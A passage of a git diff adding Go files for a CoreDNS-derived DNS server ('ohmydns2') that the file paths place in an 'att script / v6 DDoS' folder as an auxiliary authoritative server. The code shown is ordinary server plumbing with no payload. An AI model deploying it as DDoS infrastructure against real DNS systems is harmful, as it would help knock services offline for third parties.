"prober") { + // s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath) + // continue + //} + if !checkZoneSyntax(zone) { + s += fmt.Sprintf("Warning: Domain %q does not follow RFC1035 preferred syntax\n", zone) + } + // split addr into protocol, IP and Port + _, ip, port, err := SplitProtocolHostPort(addr) + + if err != nil { + // this should not happen, but we need to take care of it anyway + s += fmt.Sprintln(protocol + zone + ":" + addr) + continue + } + if ip == "" { + s += fmt.Sprintln(protocol + zone + ":" + port) + continue + } + // if the server is listening on a specific address let's make it visible in the log, + // so one can differentiate between all active listeners + s += fmt.Sprintln(protocol + zone + ":" + port + " on " + ip) + } + return s +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/register.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/register.go" new file mode 100644 index 0000000..7b54a88 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/register.go" @@ -0,0 +1,328 @@ +package dnsserver + +import ( + "fmt" + "net" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/parse" + "ohmydns2/plugin/pkg/transport" + "time" + + "github.com/coredns/caddy" + "github.com/coredns/caddy/caddyfile" + "github.com/miekg/dns" +) + +const serverType = "dns" + +func init() { + caddy.RegisterServerType(serverType, caddy.ServerType{ + Directives: func() []string { return Directives }, + DefaultInput: func() caddy.Input { + return caddy.CaddyfileInput{ + Filepath: "Ohmyfile", + Contents: []byte(".:" + Port + " {\nwhoami\nlog\n}\n"), + ServerTypeName: serverType, + } + }, + NewContext: newContext, + }) +} + +func newContext(i *caddy.Instance) caddy.Context { + return &dnsContext{keysToConfigs: make(map[string]*Config)} +} + +type dnsContext struct { + keysToConfigs map[string]*Config + + // configs is the master list of all site configs. + configs []*Config +} + +func (h *dnsContext) saveConfig(key string, cfg *Config) { + h.configs = append(h.configs, cfg) + h.keysToConfigs[key] = cfg +} + +// Compile-time check to ensure dnsContext implements the caddy.Context interface +var _ caddy.Context = &dnsContext{} + +// InspectServerBlocks make sure that everything checks out before +// executing directives and otherwise prepares the directives to +// be parsed and executed. +func (h *dnsContext) InspectServerBlocks(sourceFile string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) { + // Normalize and check all the zone names and check for duplicates + for ib, s := range serverBlocks { + // Walk the s.Keys and expand any reverse address in their proper DNS in-addr zones. If the expansions leads for + // more than one reverse zone, replace the current value and add the rest to s.Keys. + zoneAddrs := []zoneAddr{} + for ik, k := range s.Keys { + trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme. + hosts, port, err := plugin.SplitHostPort(k1) + // We need to make this a fully qualified domain name to catch all errors here and not later when + // plugin.Normalize is called again on these strings, with the prime difference being that the domain + // name is fully qualified. This was found by fuzzing where "ȶ" is deemed OK, but "ȶ." is not (might be a + // bug in miekg/dns actually). But here we were checking ȶ, which is OK, and later we barf in ȶ. leading to + // "index out of range". + for ih := range hosts { + _, _, err := plugin.SplitHostPort(dns.Fqdn(hosts[ih])) + if err != nil { + return nil, err + } + } + if err != nil { + return nil, err + } + + if port == "" { + switch trans { + case transport.DNS: + port = Port + case transport.TLS: + port = transport.TLSPort + case transport.GRPC: + port = transport.GRPCPort + case transport.HTTPS: + port = transport.HTTPSPort + } + } + + if len(hosts) > 1 { + s.Keys[ik] = hosts[0] + ":" + port // replace for the first + for _, h := range hosts[1:] { // add the rest + s.Keys = append(s.Keys, h+":"+port) + } + } + for i := range hosts { + zoneAddrs = append(zoneAddrs, zoneAddr{Zone: dns.Fqdn(hosts[i]), Port: port, Transport: trans}) + } + } + + serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here. + + var firstConfigInBlock *Config + + for ik := range s.Keys { + za := zoneAddrs[ik] + s.Keys[ik] = za.String() + // Save the config to our master list, and key it for lookups. + cfg := &Config{ + Zone: za.Zone, + ListenHosts: []string{""}, + Port: za.Port, + Transport: za.Transport, + } + + // Set reference to the first config in the current block. + // This is used later by MakeServers to share a single plugin list + // for all zones in a server block. + if ik == 0 { + firstConfigInBlock = cfg + } + cfg.firstConfigInBlock = firstConfigInBlock + + keyConfig := keyForConfig(ib, ik) + h.saveConfig(keyConfig, cfg) + } + } + return serverBlocks, nil +} + +// MakeServers uses the newly-created siteConfigs to create and return a list of server instances. +func (h *dnsContext) MakeServers() ([]caddy.Server, error) { + // Copy the Plugin, ListenHosts and Debug from first config in the block + // to all other config in the same block . Doing this results in zones + // sharing the same plugin instances and settings as other zones in + // the same block. + for _, c := range h.configs { + c.Plugin = c.firstConfigInBlock.Plugin + c.ListenHosts = c.firstConfigInBlock.ListenHosts + c.Debug = c.firstConfigInBlock.Debug + c.Stacktrace = c.firstConfigInBlock.Stacktrace + + // Fork TLSConfig for each encrypted connection + c.TLSConfig = c.firstConfigInBlock.TLSConfig.Clone() + c.ReadTimeout = c.firstConfigInBlock.ReadTimeout + c.WriteTimeout = c.firstConfigInBlock.WriteTimeout + c.IdleTimeout = c.firstConfigInBlock.IdleTimeout + c.TsigSecret = c.firstConfigInBlock.TsigSecret + } + + // we must map (group) each config to a bind address + groups, err := groupConfigsByListenAddr(h.configs) + if err != nil { + return nil, err + } + // then we create a server for each group + var servers []caddy.Server + for addr, group := range groups { + // switch on addr + switch tr, _ := parse.Transport(addr); tr { + case transport.DNS: + s, err := NewServer(addr, group) + if err != nil { + return nil, err + } + servers = append(servers, s) + + case transport.TLS: + s, err := NewServerTLS(addr, group) + if err != nil { + return nil, err + } + servers = append(servers, s) + //暂不启用grpc传输 + //case transport.GRPC: + // s, err := NewServergRPC(addr, group) + // if err != nil { + // return nil, err + // } + // servers = append(servers, s) + //case transport.PROBER: + // s, err := prober.NewProberHTTP(addr, group) + // if err != nil { + // return nil, err + // } + // servers = append(servers, s) + case transport.HTTPS: + s, err := NewServerHTTPS(addr, group) + if err != nil { + return nil, err + } + servers = append(servers, s) + } + } + + // For each server config, check for View Filter plugins + for _, c := range h.configs { + // Add filters in the plugin.cfg order for consistent filter func evaluation order. + for _, d := range Directives { + if vf, ok := c.registry[d].(Viewer); ok { + if c.ViewName != "" { + return nil, fmt.Errorf("multiple views defined in server block") + } + c.ViewName = vf.ViewName() + c.FilterFuncs = append(c.FilterFuncs, vf.Filter) + } + } + } + + // Verify that there is no overlap on the zones and listen addresses + // for unfiltered server configs + errValid := h.validateZonesAndListeningAddresses() + if errValid != nil { + return nil, errValid + } + + return servers, nil +} + +// AddPlugin adds a plugin to a site's plugin stack. +func (c *Config) AddPlugin(m plugin.Plugin) { + c.Plugin = append(c.Plugin, m) +} + +// registerHandler adds a handler to a site's handler registration. Handlers +// +// use this to announce that they exist to other plugin. +func (c *Config) registerHandler(h plugin.Handler) { + if c.registry == nil { + c.registry = make(map[string]plugin.Handler) + } + + // Just overwrite... + c.registry[h.Name()] = h +} + +// Handler returns the plugin handler that has been added to the config under its name. +// This is useful to inspect if a certain plugin is active in this server. +// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin +// comes before the plugin you are checking; it will not be there (yet). +func (c *Config) Handler(name string) plugin.Handler { + if c.registry == nil { + return nil + } + if h, ok := c.registry[name]; ok { + return h + } + return nil +} + +// Handlers returns a slice of plugins that have been registered. This can be used to +// inspect and interact with registered plugins but cannot be used to remove or add plugins. +// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin +// comes before the plugin you are checking; it will not be there (yet). +func (c *Config) Handlers() []plugin.Handler { + if c.registry == nil { + return nil + } + hs := make([]plugin.Handler, 0, len(c.registry)) + for k := range c.registry { + hs = append(hs, c.registry[k]) + } + return hs +} + +func (h *dnsContext) validateZonesAndListeningAddresses() error { + //Validate Zone and addresses + checker := newOverlapZone() + for _, conf := range h.configs { + for _, h := range conf.ListenHosts { + // Validate the overlapping of ZoneAddr + akey := zoneAddr{Transport: conf.Transport, Zone: conf.Zone, Address: h, Port: conf.Port} + var existZone, overlapZone *zoneAddr + if len(conf.FilterFuncs) > 0 { + // This config has filters. Check for overlap with other (unfiltered) configs. + existZone, overlapZone = checker.check(akey) + } else { + // This config has no filters. Check for overlap with other (unfiltered) configs, + // and register the zone to prevent subsequent zones from overlapping with it. + existZone, overlapZone = checker.registerAndCheck(akey) + } + if existZone != nil { + return fmt.Errorf("cannot serve %s - it is already defined", akey.String()) + } + if overlapZone != nil { + return fmt.Errorf("cannot serve %s - zone overlap listener capacity with %v", akey.String(), overlapZone.String()) + } + } + } + return nil +} + +// groupConfigsByListenAddr groups site configs by their listen +// (bind) address, so sites that use the same listener can be served +// on the same server instance. The return value maps the listen +// address (what you pass into net.Listen) to the list of site configs. +// This function does NOT vet the configs to ensure they are compatible. +func groupConfigsByListenAddr(configs []*Config) (map[string][]*Config, error) { + groups := make(map[string][]*Config) + for _, conf := range configs { + for _, h := range conf.ListenHosts { + addr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port)) + if err != nil { + return nil, err + } + addrstr := conf.Transport + "://" + addr.String() + groups[addrstr] = append(groups[addrstr], conf) + } + } + + return groups, nil +} + +// DefaultPort is the default port. +const DefaultPort = transport.Port + +// These "soft defaults" are configurable by +// command line flags, etc. +var ( + // Port is the port we listen on by default. + Port = DefaultPort + + // GracefulTimeout is the maximum duration of a graceful shutdown. + GracefulTimeout time.Duration +) + +var _ caddy.GracefulServer = new(Server) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server.go" new file mode 100644 index 0000000..ad2d991 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server.go" @@ -0,0 +1,456 @@ +package dnsserver + +import ( + "context" + "fmt" + "github.com/coredns/caddy" + "github.com/miekg/dns" + ot "github.com/opentracing/opentracing-go" + "net" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/edns" + "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/rcode" + "ohmydns2/plugin/pkg/request" + "ohmydns2/plugin/pkg/reuseport" + "ohmydns2/plugin/pkg/trace" + "ohmydns2/plugin/pkg/transport" + "ohmydns2/plugin/prometheus/vars" + "runtime" + "runtime/debug" + "strings" + "sync" + "time" +) + +// Server represents an instance of a server, which serves +// DNS requests at a particular address (host and port). A +// server is capable of serving numerous zones on +// the same address and the listener may be stopped for +// graceful termination (POSIX only). +type Server struct { + Addr string // Address we listen on + + server [2]*dns.Server // 0 is a net.Listener, 1 is a net.PacketConn (a *UDPConn) in our case. + m sync.Mutex // protects the servers + + zones map[string][]*Config // zones keyed by their address + dnsWg sync.WaitGroup // used to wait on outstanding connections + graceTimeout time.Duration // the maximum duration of a graceful shutdown + trace trace.Trace // the trace plugin for the server + debug bool // disable recover() + stacktrace bool // enable stacktrace in recover error log + classChaos bool // allow non-INET class queries + idleTimeout time.Duration // Idle timeout for TCP + readTimeout time.Duration // Read timeout for TCP + writeTimeout time.Duration // Write timeout for TCP + + tsigSecret map[string]string +} + +// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins +type MetadataCollector interface { + Collect(context.Context, request.Request) context.Context +} + +// NewServer returns a new OhmyDNS server and compiles all plugins in to it. By default CH class +// queries are blocked unless queries from enableChaos are loaded. +func NewServer(addr string, group []*Config) (*Server, error) { + s := &Server{ + Addr: addr, + zones: make(map[string][]*Config), + graceTimeout: 5 * time.Second, + idleTimeout: 10 * time.Second, + readTimeout: 3 * time.Second, + writeTimeout: 5 * time.Second, + tsigSecret: make(map[string]string), + } + log.Infof("Do53服务启动,监听地址: %v", addr) + + // We have to bound our wg with one increment + // to prevent a "race condition" that is hard-coded + // into sync.WaitGroup.Wait() - basically, an add + // with a positive delta must be guaranteed to + // occur before Wait() is called on the wg. + // In a way, this kind of acts as a safety barrier. + s.dnsWg.Add(1) + + for _, site := range group { + if site.Debug { + s.debug = true + log.D.Set() + } + s.stacktrace = site.Stacktrace + + // append the config to the zone's configs + s.zones[site.Zone] = append(s.zones[site.Zone], site) + + // set timeouts + if site.ReadTimeout != 0 { + s.readTimeout = site.ReadTimeout + } + if site.WriteTimeout != 0 { + s.writeTimeout = site.WriteTimeout + } + if site.IdleTimeout != 0 { + s.idleTimeout = site.IdleTimeout + } + + // copy tsig secrets + for key, secret := range site.TsigSecret { + s.tsigSecret[key] = secret + } + + // compile custom plugin for everything + var stack plugin.Handler + for i := len(site.Plugin) - 1; i >= 0; i-- { + stack = site.Plugin[i](stack) + + // register the *handler* also + site.registerHandler(stack) + + // If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin + // list backwards, so the first MetadataCollector plugin wins. + if mdc, ok := stack.(MetadataCollector); ok { + site.metaCollector = mdc + } + + if s.trace == nil && stack.Name() == "trace" { + // we have to stash away the plugin, not the + // Tracer object, because the Tracer won't be initialized yet + if t, ok := stack.(trace.Trace); ok { + s.trace = t + } + } + // Unblock CH class queries when any of these plugins are loaded. + if _, ok := EnableChaos[stack.Name()]; ok { + s.classChaos = true + } + } + site.pluginChain = stack + } + + if !s.debug { + // When reloading we need to explicitly disable debug logging if it is now disabled. + log.D.Clear() + } + + return s, nil +} + +// Compile-time check to ensure Server implements the caddy.GracefulServer interface +var _ caddy.GracefulServer = &Server{} + +// Serve starts the server with an existing listener. It blocks until the server stops. +// This implements caddy.TCPServer interface. +func (s *Server) Serve(l net.Listener) error { + s.m.Lock() + + s.server[tcp] = &dns.Server{Listener: l, + Net: "tcp", + TsigSecret: s.tsigSecret, + MaxTCPQueries: tcpMaxQueries, + ReadTimeout: s.readTimeout, + WriteTimeout: s.writeTimeout, + IdleTimeout: func() time.Duration { + return s.idleTimeout + }, + Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) { + ctx := context.WithValue(context.Background(), Key{}, s) + ctx = context.WithValue(ctx, LoopKey{}, 0) + s.ServeDNS(ctx, w, r) + })} + + s.m.Unlock() + + return s.server[tcp].ActivateAndServe() +} + +// ServePacket starts the server with an existing packetconn. It blocks until the server stops. +// This implements caddy.UDPServer interface. +func (s *Server) ServePacket(p net.PacketConn) error { + s.m.Lock() + s.server[udp] = &dns.Server{PacketConn: p, Net: "udp", Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) { + ctx := context.WithValue(context.Background(), Key{}, s) + ctx = context.WithValue(ctx, LoopKey{}, 0) + s.ServeDNS(ctx, w, r) + }), TsigSecret: s.tsigSecret} + s.m.Unlock() + + return s.server[udp].ActivateAndServe() +} + +// Listen implements caddy.TCPServer interface. +func (s *Server) Listen() (net.Listener, error) { + l, err := reuseport.Listen("tcp", s.Addr[len(transport.DNS+"://"):]) + if err != nil { + return nil, err + } + return l, nil +} + +// WrapListener Listen implements caddy.GracefulServer interface. +func (s *Server) WrapListener(ln net.Listener) net.Listener { + return ln +} + +// ListenPacket implements caddy.UDPServer interface. +func (s *Server) ListenPacket() (net.PacketConn, error) { + p, err := reuseport.ListenPacket("udp", s.Addr[len(transport.DNS+"://"):]) + if err != nil { + return nil, err + } + + return p, nil +} + +// Stop stops the server. It blocks until the server is +// totally stopped. On POSIX systems, it will wait for +// connections to close (up to a max timeout of a few +// seconds); on Windows it will close the listener +// immediately. +// This implements Caddy.Stopper interface. +func (s *Server) Stop() (err error) { + if runtime.GOOS != "windows" { + // force connections to close after timeout + done := make(chan struct{}) + go func() { + s.dnsWg.Done() // decrement our initial increment used as a barrier + s.dnsWg.Wait() + close(done) + }() + + // Wait for remaining connections to finish or + // force them all to close after timeout + select { + case <-time.After(s.graceTimeout): + case <-done: + } + } + + // Close the listener now; this stops the server without delay + s.m.Lock() + for _, s1 := range s.server { + // We might not have started and initialized the full set of servers + if s1 != nil { + err = s1.Shutdown() + } + } + s.m.Unlock() + return +} + +// Address together with Stop() implement caddy.GracefulServer. +func (s *Server) Address() string { return s.Addr } + +// ServeDNS is the entry point for every request to the address that +// is bound to. It acts as a multiplexer for the requests zonename as +// defined in the request so that the correct zone +// (configuration and plugin stack) will handle the request. +func (s *Server) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) { + // The default dns.Mux checks the question section size, but we have our + // own mux here. Check if we have a question section. If not drop them here. + if r == nil || len(r.Question) == 0 { + errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure) + return + } + + if !s.debug { + defer func() { + // In case the user doesn't enable error plugin, we still + // need to make sure that we stay alive up here + if rec := recover(); rec != nil { + if s.stacktrace { + log.Errorf("Recovered from panic in server: %q %v\n%s", s.Addr, rec, string(debug.Stack())) + } else { + log.Errorf("Recovered from panic in server: %q %v", s.Addr, rec) + } + vars.Panic.Inc() + errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure) + } + }() + } + + if !s.classChaos && r.Question[0].Qclass != dns.ClassINET { + errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused) + return + } + + if m, err := edns.Version(r); err != nil { // Wrong EDNS version, return at once. + w.WriteMsg(m) + return + } + + // Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer. + w = request.NewScrubWriter(r, w) + + q := strings.ToLower(r.Question[0].Name) + var ( + off int + end bool + dshandler *Config + ) + + for { + if z, ok := s.zones[q[off:]]; ok { + for _, h := range z { + if h.pluginChain == nil { // zone defined, but has not got any plugins + errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused) + return + } + + if h.metaCollector != nil { + // Collect metadata now, so it can be used before we send a request down the plugin chain. + ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w}) + } + + // If all filter funcs pass, use this config. + if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) { + if h.ViewName != "" { + // if there was a view defined for this Config, set the view name in the context + ctx = context.WithValue(ctx, ViewKey{}, h.ViewName) + } + if r.Question[0].Qtype != dns.TypeDS { + rcode, _ := h.pluginChain.ServeDNS(ctx, w, r) + if !plugin.ClientWrite(rcode) { + errorFunc(s.Addr, w, r, rcode) + } + return + } + // The type is DS, keep the handler, but keep on searching as maybe we are serving + // the parent as well and the DS should be routed to it - this will probably *misroute* DS + // queries to a possibly grand parent, but there is no way for us to know at this point + // if there is an actual delegation from grandparent -> parent -> zone. + // In all fairness: direct DS queries should not be needed. + dshandler = h + } + } + } + off, end = dns.NextLabel(q, off) + if end { + break + } + } + + if r.Question[0].Qtype == dns.TypeDS && dshandler != nil && dshandler.pluginChain != nil { + // DS request, and we found a zone, use the handler for the query. + rcode, _ := dshandler.pluginChain.ServeDNS(ctx, w, r) + if !plugin.ClientWrite(rcode) { + errorFunc(s.Addr, w, r, rcode) + } + return + } + + // Wildcard match, if we have found nothing try the root zone as a last resort. + if z, ok := s.zones["."]; ok { + for _, h := range z { + if h.pluginChain == nil { + continue + } + + if h.metaCollector != nil { + // Collect metadata now, so it can be used before we send a request down the plugin chain. + ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w}) + } + + // If all filter funcs pass, use this config. + if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) { + if h.ViewName != "" { + // if there was a view defined for this Config, set the view name in the context + ctx = context.WithValue(ctx, ViewKey{}, h.ViewName) + } + rcode, _ := h.pluginChain.ServeDNS(ctx, w, r) + if !plugin.ClientWrite(rcode) { + errorFunc(s.Addr, w, r, rcode) + } + return + } + } + } + + // Still here? Error out with REFUSED. + errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused) +} + +// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request +func passAllFilterFuncs(ctx context.Context, filterFuncs []FilterFunc, req *request.Request) bool { + for _, ff := range filterFuncs { + if !ff(ctx, req) { + return false + } + } + return true +} + +// OnStartupComplete lists the sites served by this server +// and any relevant information, assuming Quiet is false. +func (s *Server) OnStartupComplete() { + if Quiet { + return + } + + out := startUpZones("", s.Addr, s.zones) + if out != "" { + fmt.Print(out) + } +} + +// Tracer returns the tracer in the server if defined. +func (s *Server) Tracer() ot.Tracer { + if s.trace == nil { + return nil + } + + return s.trace.Tracer() +} + +// errorFunc responds to an DNS request with an error. +func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) { + state := request.Request{W: w, Req: r} + + answer := new(dns.Msg) + answer.SetRcode(r, rc) + state.SizeAndDo(answer) + + w.WriteMsg(answer) +} + +func errorAndMetricsFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) { + state := request.Request{W: w, Req: r} + + answer := new(dns.Msg) + answer.SetRcode(r, rc) + state.SizeAndDo(answer) + + vars.Report(server, state, vars.Dropped, "", rcode.ToString(rc), "" /* plugin */, answer.Len(), time.Now()) + + w.WriteMsg(answer) +} + +const ( + tcp = 0 + udp = 1 + + tcpMaxQueries = -1 +) + +type ( + // Key is the context key for the current server added to the context. + Key struct{} + + // LoopKey is the context key to detect server wide loops. + LoopKey struct{} + + // ViewKey is the context key for the current view, if defined + ViewKey struct{} +) + +// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default. +var EnableChaos = map[string]struct{}{ + "chaos": {}, + "forward": {}, + "proxy": {}, +} + +// Quiet mode will not show any informative output on initialization. +var Quiet bool diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_grpc.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_grpc.go" new file mode 100644 index 0000000..ce0a380 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_grpc.go" @@ -0,0 +1,180 @@ +package dnsserver + +//暂不启用 +// +//import ( +// "crypto/tls" +// "errors" +// "fmt" +// "net" +// "ohmydns2/plugin/pkg/reuseport" +// "ohmydns2/plugin/pkg/transport" +// +// "github.com/coredns/caddy" +// "github.com/miekg/dns" +// "github.com/opentracing/opentracing-go" +//) +// +//// ServergRPC represents an instance of a DNS-over-gRPC server. +//type ServergRPC struct { +// *Server +// *pb.UnimplementedDnsServiceServer +// grpcServer *grpc.Server +// listenAddr net.Addr +// tlsConfig *tls.Config +//} +// +//// NewServergRPC returns a new CoreDNS GRPC server and compiles all plugin in to it. +//func NewServergRPC(addr string, group []*Config) (*ServergRPC, error) { +// s, err := NewServer(addr, group) +// if err != nil { +// return nil, err +// } +// // The *tls* plugin must make sure that multiple conflicting +// // TLS configuration returns an error: it can only be specified once. +// var tlsConfig *tls.Config +// for _, z := range s.zones { +// for _, conf := range z { +// // Should we error if some configs *don't* have TLS? +// tlsConfig = conf.TLSConfig +// } +// } +// // http/2 is required when using gRPC. We need to specify it in next protos +// // or the upgrade won't happen. +// if tlsConfig != nil { +// tlsConfig.NextProtos = []string{"h2"} +// } +// +// return &ServergRPC{Server: s, tlsConfig: tlsConfig}, nil +//} +// +//// Compile-time check to ensure Server implements the caddy.GracefulServer interface +//var _ caddy.GracefulServer = &Server{} +// +//// Serve implements caddy.TCPServer interface. +//func (s *ServergRPC) Serve(l net.Listener) error { +// s.m.Lock() +// s.listenAddr = l.Addr() +// s.m.Unlock() +// +// if s.Tracer() != nil { +// onlyIfParent := func(parentSpanCtx opentracing.SpanContext, method string, req, resp interface{}) bool { +// return parentSpanCtx != nil +// } +// intercept := otgrpc.OpenTracingServerInterceptor(s.Tracer(), otgrpc.IncludingSpans(onlyIfParent)) +// s.grpcServer = grpc.NewServer(grpc.UnaryInterceptor(intercept)) +// } else { +// s.grpcServer = grpc.NewServer() +// } +// +// pb.RegisterDnsServiceServer(s.grpcServer, s) +// +// if s.tlsConfig != nil { +// l = tls.NewListener(l, s.tlsConfig) +// } +// return s.grpcServer.Serve(l) +//} +// +//// ServePacket implements caddy.UDPServer interface. +//func (s *ServergRPC) ServePacket(p net.PacketConn) error { return nil } +// +//// Listen implements caddy.TCPServer interface. +//func (s *ServergRPC) Listen() (net.Listener, error) { +// l, err := reuseport.Listen("tcp", s.Addr[len(transport.GRPC+"://"):]) +// if err != nil { +// return nil, err +// } +// return l, nil +//} +// +//// ListenPacket implements caddy.UDPServer interface. +//func (s *ServergRPC) ListenPacket() (net.PacketConn, error) { return nil, nil } +// +//// OnStartupComplete lists the sites served by this server +//// and any relevant information, assuming Quiet is false. +//func (s *ServergRPC) OnStartupComplete() { +// if Quiet { +// return +// } +// +// out := startUpZones(transport.GRPC+"://", s.Addr, s.zones) +// if out != "" { +// fmt.Print(out) +// } +//} +// +//// Stop stops the server. It blocks until the server is +//// totally stopped. +//func (s *ServergRPC) Stop() (err error) { +// s.m.Lock() +// defer s.m.Unlock() +// if s.grpcServer != nil { +// s.grpcServer.GracefulStop() +// } +// return +//} +// +//// Query is the main entry-point into the gRPC server. From here we call ServeDNS like +//// any normal server. We use a custom responseWriter to pick up the bytes we need to write +//// back to the client as a protobuf. +//func (s *ServergRPC) Query(ctx context.Context, in *pb.DnsPacket) (*pb.DnsPacket, error) { +// msg := new(dns.Msg) +// err := msg.Unpack(in.Msg) +// if err != nil { +// return nil, err +// } +// +// p, ok := peer.FromContext(ctx) +// if !ok { +// return nil, errors.New("no peer in gRPC context") +// } +// +// a, ok := p.Addr.(*net.TCPAddr) +// if !ok { +// return nil, fmt.Errorf("no TCP peer in gRPC context: %v", p.Addr) +// } +// +// w := &gRPCresponse{localAddr: s.listenAddr, remoteAddr: a, Msg: msg} +// +// dnsCtx := context.WithValue(ctx, Key{}, s.Server) +// dnsCtx = context.WithValue(dnsCtx, LoopKey{}, 0) +// s.ServeDNS(dnsCtx, w, msg) +// +// packed, err := w.Msg.Pack() +// if err != nil { +// return nil, err +// } +// +// return &pb.DnsPacket{Msg: packed}, nil +//} +// +//// Shutdown stops the server (non gracefully). +//func (s *ServergRPC) Shutdown() error { +// if s.grpcServer != nil { +// s.grpcServer.Stop() +// } +// return nil +//} +// +//type gRPCresponse struct { +// localAddr net.Addr +// remoteAddr net.Addr +// Msg *dns.Msg +//} +// +//// Write is the hack that makes this work. It does not actually write the message +//// but returns the bytes we need to write in r. We can then pick this up in Query +//// and write a proper protobuf back to the client. +//func (r *gRPCresponse) Write(b []byte) (int, error) { +// r.Msg = new(dns.Msg) +// return len(b), r.Msg.Unpack(b) +//} +// +//// These methods implement the dns.ResponseWriter interface from Go DNS. +//func (r *gRPCresponse) Close() error { return nil } +//func (r *gRPCresponse) TsigStatus() error { return nil } +//func (r *gRPCresponse) TsigTimersOnly(b bool) {} +//func (r *gRPCresponse) Hijack() {} +//func (r *gRPCresponse) LocalAddr() net.Addr { return r.localAddr } +//func (r *gRPCresponse) RemoteAddr() net.Addr { return r.remoteAddr } +//func (r *gRPCresponse) WriteMsg(m *dns.Msg) error { r.Msg = m; return nil } diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_https.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_https.go" new file mode 100644 index 0000000..ca440b9 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/server_https.go" @@ -0,0 +1,209 @@ +package dnsserver + +import ( + "context" + "crypto/tls" + "fmt" + stdlog "log" + "net" + "net/http" + "ohmydns2/plugin/pkg/dnsutil" + "ohmydns2/plugin/pkg/doh" + olog "ohmydns2/plugin/pkg/log" + "ohmydns2/plugin/pkg/response" + "ohmydns2/plugin/pkg/reuseport" + "ohmydns2/plugin/pkg/transport" + "ohmydns2/plugin/prometheus/vars" + "strconv" + "time" + + "github.com/coredns/caddy" +) + +// ServerHTTPS represents an instance of a DNS-over-HTTPS server. +type ServerHTTPS struct { + *Server + httpsServer *http.Server + listenAddr net.Addr + tlsConfig *tls.Config + validRequest func(*http.Request) bool +} + +// loggerAdapter is a simple adapter around OhmyDNS logger made to implement io.Writer in order to log errors from HTTP server +type loggerAdapter struct { +} + +func (l *loggerAdapter) Write(p []byte) (n int, err error) { + olog.Debug(string(p)) + return len(p), nil +} + +// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH) +type HTTPRequestKey struct{} + +// NewServerHTTPS returns a new CoreDNS HTTPS server and compiles all plugins in to it. +func NewServerHTTPS(addr string, group []*Config) (*ServerHTTPS, error) { + s, err := NewServer(addr, group) + if err != nil { + return nil, err + } + // The *tls* plugin must make sure that multiple conflicting + // TLS configuration returns an error: it can only be specified once. + var tlsConfig *tls.Config + for _, z := range s.zones { + for _, conf := range z { + // Should we error if some configs *don't* have TLS? + tlsConfig = conf.TLSConfig + } + } + + // http/2 is recommended when using DoH. We need to specify it in next protos + // or the upgrade won't happen. + if tlsConfig != nil { + tlsConfig.NextProtos = []string{"h2", "http/1.1"} + } + + // Use a custom request validation func or use the standard DoH path check. + var validator func(*http.Request) bool + for _, z := range s.zones { + for _, conf := range z { + validator = conf.HTTPRequestValidateFunc + } + } + if validator == nil { + validator = func(r *http.Request) bool { return r.URL.Path == doh.Path } + } + + srv := &http.Server{ + ReadTimeout: s.readTimeout, + WriteTimeout: s.writeTimeout, + IdleTimeout: s.idleTimeout, + ErrorLog: 